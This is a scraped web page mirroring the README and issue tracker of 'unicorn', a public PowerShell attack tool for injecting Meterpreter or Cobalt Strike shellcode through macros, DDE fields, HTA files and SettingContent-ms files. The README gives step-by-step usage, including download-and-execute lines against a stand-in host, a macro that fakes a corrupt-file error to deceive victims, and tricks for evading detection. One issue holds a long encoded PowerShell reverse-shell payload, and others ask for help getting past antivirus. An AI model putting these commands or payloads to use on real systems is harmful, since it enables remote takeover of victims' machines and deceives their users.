Code Monkey home page Code Monkey logo

unicorn's Introduction

unicorn

Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com

Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit.

root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates

Happy Magic Unicorns.

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help

-----POWERSHELL ATTACK INSTRUCTIONS----

Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute.

Note that you will need to have a listener enabled in order to capture the attack.

-----MACRO ATTACK INSTRUCTIONS----

For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that.

If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open()

To: Sub AutoOpen()

The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme.

NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN!

-----HTA ATTACK INSTRUCTIONS----

The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit.

A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly.

-----CERTUTIL Attack Instruction----

The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary.

-----Custom PS1 Attack Instructions----

This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.

Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.

Examples:

python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.

-----DDE Office COM Attack Instructions----

This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros. This attack was documented and full instructions can be found at:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

In order to use this attack, run the following examples:

python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition a download.ps1 will be exported as well (explained in the latter section).

In order to apply the payload, as an example (from sensepost article):

  1. Open Word
  2. Insert tab -> Quick Parts -> Field
  3. Choose = (Formula) and click ok.
  4. Once the field is inserted, you should now see "!Unexpected End of Formula"
  5. Right-click the Field, choose "Toggle Field Codes"
  6. Paste in the code from Unicorn
  7. Save the Word document.

Once the office document is opened, you should receive a shell through powershell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download.

The DDE attack will attempt to download download.ps1 which is our powershell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to.

You may notice that some of the commands use "{ QUOTE" these are ways of masking specific commands which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL as it has some great methods for not calling DDE at all.

-----Import Cobalt Strike Beacon----

This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike.

Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs.

The export code will look something like this:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

Next, for usage:

python unicorn.py cobalt_strike_file.cs cs

The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic.

Next simply copy the powershell command to something you have the ability for remote command execution.

NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY.

There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem.

A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit:

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues.

-----Custom Shellcode Generation Method----

This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory.

Note that in order for this to work, your txt file that you point Unicorn to must be formatted in the following format or it will not work:

0x00,0x00,0x00 and so on.

Also note that there is size restrictions. The total length size of the PowerShell command cannot exceed the size of 8191. This is the max command line argument size limit in Windows.

Usage:

python unicorn.py shellcode_formatted_properly.txt shellcode

Next simply copy the powershell command to something you have the ability for remote command execution.

NOTE: THE FILE MUST PROPERLY BE FORMATTED IN A 0x00,0x00,0x00 TYPE FORMAT WITH NOTHING ELSE OTHER THAN YOUR SHELLCODE IN THE TXT FILE.

There are some caveats with this attack. Note that if your payload size is large in nature it will not fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem.

A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit:

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no
issues.

-----SettingContent-ms Extension Method----

First, if you haven't had a chance, head over to the awesome SpectreOps blog from Matt Nelson (enigma0x3):

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

This method uses a specific file type called ".SettingContent-ms" which allows for the ability for both direct loads from browsers (open + command execution) as well as extension type through embedding in office products. This one specifically will focus on extension type settings for command execution within Unicorn's PowerShell attack vector.

There are multiple methods supported with this attack vector. Since there is a limited character size with this attack, the method for deployment is an HTA.

For a detailed understanding on weaponizing this attack visit:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

The steps you'll need to do to complete this attack is generate your .SettingContent-ms file from either a standalone or hta. The HTA method supports Metasploit, Cobalt Strike, and direct shellcode attacks.

The four methods below on usage:

HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generate .SettingContent-ms: python unicorn.py ms

The first is a Metasploit payload, the second a Cobalt Strike, the third your own shellcode, and the fourth just a blank .SettingContent-ms file.

When everything is generated, it will export a file called Standalone_NoASR.SettingContent-ms either in the default root Unicorn directory (if using the standalone file generation) or under the hta_attack/ folder. You will need to edit the Standalone_NoASR.SettingContent-ms file and replace:

REPLACECOOLSTUFFHERE

With:

mshta http://<apache_server_ip_or_dns_name/Launcher.hta.

Then move the contents of the hta_attack to /var/www/html.

Once the victim either clicks the .SettingContent-ms file, mshta will be called on the victim machine then download the Unicorn HTA file which has the code execution capabilities.

Special thanks and kudos to Matt Nelson for the awesome research

Also check out: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Usage:

python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms

unicorn's People

Contributors

computerscienceiscool avatar cvtgreat avatar hackingdave avatar hannestrunde avatar iam1980 avatar jeffmcjunkin avatar jonaslejon avatar kosmokato avatar llamasoft avatar mandreko avatar rikvanduijn avatar smolinskip avatar th3joker3000 avatar yonasuriv avatar zephrfish avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

unicorn's Issues

Detected by 3 major AVs

Hey,

the new version is detected at runtime by Kaspersky, Symantec and McAfee. Any chance you are planing another round of obfuscation ninjutsu soon? :)

Thanks

Embedded persistence

Hi, i was wondering if you have thought of a way to initially include persistence during the generation of the payload.
Cheers

Too many line continuations

Thanks for this awesome powershell tool trustedsec. I am just having an issue with office 2013, where i ve customised the payload to reverse_https with macro attack.

When I copy/paste the code, an error box appears stating "Too many line continuations"
Is there a way around that?

Thank you

HTA Attack Error

Team,

I am trying the HTA attack on my lab (Win 10/2012). But when I access https://192.168.1.5 on victim end. I got the below error.

Server End:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[] Started HTTPS reverse handler on https://0.0.0.0:443/
[
] Starting the payload handler...
msf exploit(handler) > [] 192.168.1.100:41859 Request received for /...
[
] 192.168.1.100:41859 Unknown request to / #<Rex::Proto::Http::Request:0x0000000414c0b8 @headers={"Accept"=> "text/html, application/xhtml+xml, image/jxr, /", "Host"=>"192.168.1.5", "Connection"=>"Keep-Alive", "Acce pt-Language"=>"en-IN", "User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik e Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586", "Accept-Encoding"=>"gzip, deflate"}, @auto_cl=true, @State=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @Body="", @method="GET", @raw_uri="/", @uri_ parts={"QueryString"=>{}, "Resource"=>"/"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_m ode="hex-normal", @relative_resource="/", @body_bytes_left=0>...
[] 192.168.1.100:41877 Request received for /...
[
] 192.168.1.100:41877 Unknown request to / #<Rex::Proto::Http::Request:0x0000000406e0b0 @headers={"Host"=>" 192.168.1.5", "Accept"=>"text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8", "Accept-Language"= >"en-us", "Connection"=>"keep-alive", "Accept-Encoding"=>"gzip, deflate", "User-Agent"=>"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/6 02.1"}, @auto_cl=true, @State=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @Body="", @method="GE T", @raw_uri="/", @uri_parts={"QueryString"=>{}, "Resource"=>"/"}, @proto="1.1", @chunk_min_size=1, @chunk_max _size=10, @uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_left=0>...

not able to generate payload

Hello I am getting below error and tried with diffrent python version but no use ...please help

[!] Shellcode was not generated for some reason. Check payload name and if Metasploit is working and try again.

No connection

Everytime I execute a payload on a windows machine (running 8) none of the attacks give me back a connection. I run the Social Engineering Toolkit version of the powershell attack and it works fine so it is not my computer.

python version for generate payload

Hi

I'm using all version of python for generate shellcode, but i receive error :

python2.7 unicorn.py payload/windows/meterpreter/reverse_tcp 45.45.45.45 445
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Length of shellcode was not generated. Check payload name and if Metasploit is working and try again.
Exiting....

python >= 3 :

python3.5 unicorn.py payload/windows/meterpreter/reverse_tcp 45.45.45.45 445
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Something went wrong, printing the error: name 'reduce' is not defined

Of course i install all dependency of python packages.
How solved it?

TNX

Wrong content of resource file

When i do

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro

just as an example, the output of .rc file is next

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST windows/meterpreter/reverse_tcp
set LPORT 192.168.1.5
set ExitOnSession false
set EnableStageEncoding true
exploit -j

So, the payload value takes place of lhost value, and lhost is taking over the lport value. And i wonder if the generated txt file also contains appropriate code, because my msfconsole did not catch any session

macro problem in https

Hi
When i try to generate https macro it doesn’t work for me when i put code in xls or doc it doesn’t connect best case i got once "Unknown request to / with UA ... "

DDE meterpreter/reverse_https payload consistently exceeds command line limit

First, thank you Dave for this awesome tool!

I've been trying to generate a DDE meterpreter/reverse_https payload but I cannot due to the payload exceeding the command line limit.

I have tried with various IPs to include the example that unicorn provides: python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

Unicorn provides this warning: [!] WARNING. WARNING. Length of the payload is above command line limit length of 8191. Recommend trying to generate again or the line will be cut off.
Press {return} to continue.

I am using the latest version of unicorn via this repo. Thanks again!

unicorn detection

Nice project keep up the good work man.

I test this Macro Attack against Kaspersky and NOD32 but it was detected in memory and closed due it uses powershell to execute another powershell. do you think there is a way this can be bypasseed in some ways?

Thanks

download_exec for HTA

can you try implement download_exec for HTA file? the reverse is kinda suck sometimes and would have been really good if can use download_exec command

Shares

Length of the payload is above command line limit length of 8191

hello i getting warning and my .exe is only 32 kb.
i am using: windows/download_exec exe=test.exe url=http://badurl.com/payload.exe

[!] WARNING. WARNING. Length of the payload is above command line limit length of 8191. Recommend trying to generate again or the line will be cut off.
Press {return} to continue.

what is cause?

error

I got this erron witch new version.
xxx@xxxx:/unicorn# python unicorn.py
File "unicorn.py", line 438
if not os.popen("msfvenom -h").read():
^
IndentationError: unexpected indent

file is not downloaded or executed.

python unicorn.py windows/download_exec exe=test.exe url=http://someurl.com/myexe.exe macro

generated macro not working in office,(does not download and execute my exe).

windows 7 now cant run word

hello unicorn working perfect , but now i cant run any of word files always gives me an error,how can i reverse that?

dont return session in kali.

hi
I generate payload with unicorn in kali 2016.when i run pwershell.bat dont give any access to me .dont return session in kali.
i think your code dont work.
please help me .
thanks

Word 2016

I have been trying to use this today with Word 2016 (and Excel) without any success. I can use it with just powershell via commandline, session loads fine. But with Word (freshly installed earlier in the week in a fresh install of Win10) I get nothing. Looking at traffic, nothing comes out of machine after I open the Word file at all. I can't see any error or feedback that is any different to expectations from videos online. It does the popup saying older version of word. Just doesn't seem to send the payload to powershell.

Error

hi guys , i have kali rolling 2.0 and show this error

File "unicorn.py", line 438
if not os.popen("msfvenom -h").read():
^
IndentationError: unexpected indent

why ?

MissingExpressionAfterOperator Parser Error with Powershell_attack.txt execution

Hi
I am using Kali Linux (IP: 192.168.56.103) as the C&C and a test Windows 7 x64 VM (192.168.56.201) as the client.

I run the following to generate the powershell_attack.txt and unicorn.rc command.

python unicorn.py windows/meterpreter/reverse_tcp 192.168.56.103 443

When I copy and paste the command in the client from powershell, the window disappears and I do not get a reverse meterpreter shell on the C&C. Then, I slightly modify the powershell_attack.txt from "-w 1" to "-w 0" to ensure that the window does not disappear and I can see the error. I get the following error:


Missing expression after unary operator '-'.
At line:1 char:2
+ - <<<< e''c JABlAGgAIAA9ACAAJwBbAEQAbABsAEkAbQBwAG.......... <omitted tldr;>.........
    + CategoryInfo          : ParserError: (-:String) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : MissingExpressionAfterOperator

The original powershell_attack.txt file context is as shown below.

Thanks
Max

powershell -w 1 -C "s''v Wtl -;s''v Om e''c;s''v CT ((g''v Wtl).value.toString()+(g''v Om).value.toString());powershell (g''v CT).value.toString() ('JABJAEkAIAA9ACAAJwAkAGUAaAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAH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GQANwAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQA4ACwAMAB4ADMAMwAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADQANwAsADAAeABiAGIALAAwAHgANgA2ACwAMAB4ADIANwAsADAAeABiADQALAAwAHgAOQA2ACwAMAB4ADgAMwAsADAAeABlADgALAAwAHgAZgBjACwAMAB4ADMAMQAsADAAeAA1ADgALAAwAHgAMQA0ACwAMAB4ADAAMwAsADAAeAA1ADgALAAwAHgA'+'NwAyACwAMAB4AGMANQAsADAAeAA0ADEALAAwAHgANgBhACwAMAB4ADkAMgAsADAAeAA4AGIALAAwAHgAYQBhACwAMAB4ADkAMwAsADAAeAA2ADIALAAwAHgAZQBjACwAMAB4ADIAMwAsADAAeAA3ADYALAAwAHgANQAzACwAMAB4ADIAYwAsADAAeAA1ADcALAAwAHgAZgAyACwAMAB4AGMAMwAsADAAeAA5AGMALAAwAHgAMQAzACwAMAB4ADUANgAsADAAeABlAGYALAAwAHgANQA3ACwAMAB4ADcAMQAsADAAeAA0ADMALAAwAHgANgA0ACwAMAB4ADEANQAsADAAeAA1AGUALAAwAHgANgA0ACwAMAB4AGMAZAAsADAAeAA5ADAALAAwAHgAYgA4ACwAMAB4ADQAYgAsADAAeABjAGUALAAwAHgAOAA5ACwAMAB4AGYAOQAsADAAeABjAGEALAAwAHgANABjACwAMAB4AGQAMAAsADAAeAAyAGQALAAwAHgAMgBkACwAMAB4ADYAZAAsADAAeAAxAGIALAAwAHgAMgAwACwAMAB4ADIAYwAsADAAeABhAGEALAAwAHgANAA2ACwAMAB4AGMAOQAsADAAeAA3AGMALAAwAHgANgAzACwAMAB4ADAAYwAsADAAeAA3AGMALAAwAHgAOQAxACwAMAB4ADAAMAAsADAAeAA1ADgALAAwAHgAYgBkACwAMAB4ADEAYQAsADAAeAA1AGEALAAwAHgANABjACwAMAB4AGMANQAsADAAeABmAGYALAAwAHgAMgBhACwAMAB4ADYAZgAsADAAeAB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AA3AGMALAAwAHgANgBiACwAMAB4ADQAMQAsADAAeABlADkALAAwAHgAZAA2ACwAMAB4AGUAMwAsADAAeABlADkALAAwAHgANgAyACwAMAB4AGYAMQAsADAAeABmADQALAAwAHgAMABlACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgANgBhACwAMAB4AGYAMQAsADAAeAA2ADIALAAwAHgAYgA2ACwAMAB4AGEAMgAsADAAeAAzADUALAAwAHgAMwA2ACwAMAB4AGUANgAsADAAeABkAGMALAAwAHgAOQBjACwAMAB4ADMANwAsADAAeAA2AGQALAAwAHgAMQBkACwAMAB4ADIAMQAsADAAeABlADIALAAwAHgAMQA4ACwAMAB4ADEANwAsADAAeABiADUALAAwAHgAYwBkACwAMAB4ADcANQAsADAAeAAxAGYALAAwAHgAMgAyACwAMAB4AGEANgAsADAAeAA4ADcALAAwAHgANgAwACwAMAB4AGEAZAAsADAAeAA4AGQALAAwAHgAMAAxACwAMAB4ADgANgAsADAAeABmAGQALAAwAHgAYQAxACwAMAB4ADQAMQAsADAAeAAxADcALAAwAHgAYgBkACwAMAB4ADEAMQAsADAAeAAyADIALAAwAHgAYwA3ACwAMAB4ADUANQAsADAAeAA3ADgALAAwAHgAYQBkACwAMAB4ADMAOAAsADAAeAA0ADUALAAwAHgAOAAzACwAMAB4ADYANwAsADAAeAA1ADEALAAwAHgAZQBmACwAMAB4ADYA'+'YwAsADAAeABkAGUALAAwAHgAMAA5ACwAMAB4ADgANwAsADAAeAAxADUALAAwAHgANwBiACwAMAB4AGMAMQAsADAAeAAzADYALAAwAHgAZAA5ACwAMAB4ADUAMQAsADAAeABhAGYALAAwAHgANwA4ACwAMAB4ADUAMQAsADAAeAA1ADYALAAwAHgANABmACwAMAB4ADMANgAsADAAeAA5ADIALAAwAHgAMQAzACwAMAB4ADQAMwAsADAAeABhAGUALAAwAHgANQAyACwAMAB4ADYAZQAsADAAeAAzADkALAAwAHgANwA4ACwAMAB4ADYAYwAsADAAeAA0ADQALAAwAHgANQA0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AJABtAEEAawA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAFoAYwAuAFQAbwBJAG4AdAAzADIAKAApACsAJAB6AHAAWgApACwAIAAkAHUAQgBxAGUAYwBbACQAegBwAFoAXQAsACAAMQApAH0AOwAkAG0AQQBrADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABaAGMALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAEkAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4A'+'QwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABJAEkAKQApADsAJABkAEMAcwAgAD0AIAAiAC0AZQAnACcAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAawBuAFIAIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAawBuAFIAIAAkAGQAQwBzACAAJABJAGMAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAZABDAHMAIAAkAEkAYwAiADsAfQA=')"

persistence generation

Hello, i would like to know if the .bat file is on persistence mode when we are generating it.
Otherwise, if the victim opens it without connexion, Is it possible to capture a session when the connexion is put on.

Dns Resolve fails.

Hello ,

i admire your work and good work you've done here ! i am using unicorn for a long time , and i realised that i have a problem , i don't know what's wrong with it but i think i can report it here and you might be able to fix it , well the issue is simple i am generating a payload like this:

python unicorn.py windows/meterpreter/reverse_tcp HOST PORT hta .

i have my file generated and it works like a charm , but i am using a DNS as a host so it can resovle to my dynamic Ip address , the problem is that if my ip address changes , the DNS normally without any problems resovle the new one ! but ! we have a problem the HTA file doesn't resolve the new ip address from the DNS , which currently it should because the DNS has been updated , but the script doesn't!!

Please fix it :)

macro not connect

macro attack in version 2.7.2 dont connect, but in version 2.6 connect with out problems

Unicorn payload generation for x64

@trustedsec Hi does unicorn provide a feature to create the payload for x64, as i'm aware the payload created for x86 but i would need to create it on x64. is it possible to create the payload for macro attack in x64 if so please do guide me, thanks.

powershell_attack.txt is not working just after a day

Dear trustedsec,

There was a misunderstanding about my prior post. Now, let me explain clearly.
I'm going to generate a powershell_attack.txt through unicorn.py tool and then use it to attack a target via metasploit. However, that powershell_attack.txt is stable for just some hours and after a period of time it will be expired or not working anymore.
I would be very grateful if you give me some information about this matter.
Is there any way to stabilize that powershell_attack.txt code for more time and use it for another time?

Regards,

Power Shell will be expired after 24h

Hi amigos
